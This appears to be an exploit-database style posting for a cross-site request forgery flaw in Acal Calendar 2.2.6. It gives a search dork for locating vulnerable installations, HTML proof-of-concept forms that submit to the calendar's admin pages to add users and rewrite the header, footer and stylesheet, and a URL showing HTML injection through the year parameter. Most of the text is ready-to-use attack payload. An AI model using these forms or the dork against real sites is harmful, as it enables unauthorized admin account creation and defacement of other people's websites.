Acal Calendar 2.2.6 Cross Site Request Forgery

`# Exploit Title: [Acal calendar 2.2.6 CSRF Vulnerability]  
# Date: [11-03-2012]  
# Author: [Number 7]  
# Software Link: [http://sourceforge.net/projects/acalproj/files/latest/download?source=directory]  
# Version: [2.2.6]  
# Dork: ["Calendar Admin: Edit Header and Footer"]  
# Tested on: [Windows,Linux]  
____________________________________________________________________________  
Add User<br>  
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/changelogin.php?action=add"><br>  
Username: <br>  
<input type="text" size="20" name="user" /><br>  
Password:<br>  
<input type="password" size="20" name="pass" />  
<input type="submit" value="Add User" /></form>  
Edit/Add Header  
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=header" method="post">  
<textarea cols="60" rows="14" name="header">Write New Header Here.</textarea>  
<input type="submit" value="Submit Changes" />  
Edit/Add Footer  
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=footer" method="post">  
<textarea cols="60" rows="14" name="footer">Write New Footer Here.</textarea>  
<input type="submit" value="Submit Changes" />  
</form>  
Style Options  
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/style.php?edit=style">  
<textarea name="stylesheet" cols="60" rows="20"></textarea>  
<input type="submit" value="Edit" />  
HTML INJECTION:  
http://localhost/ACal-2.2.6/calendar/calendar.php?year=Inject HTML Code here.  
____________________________________________________________________________  
  
`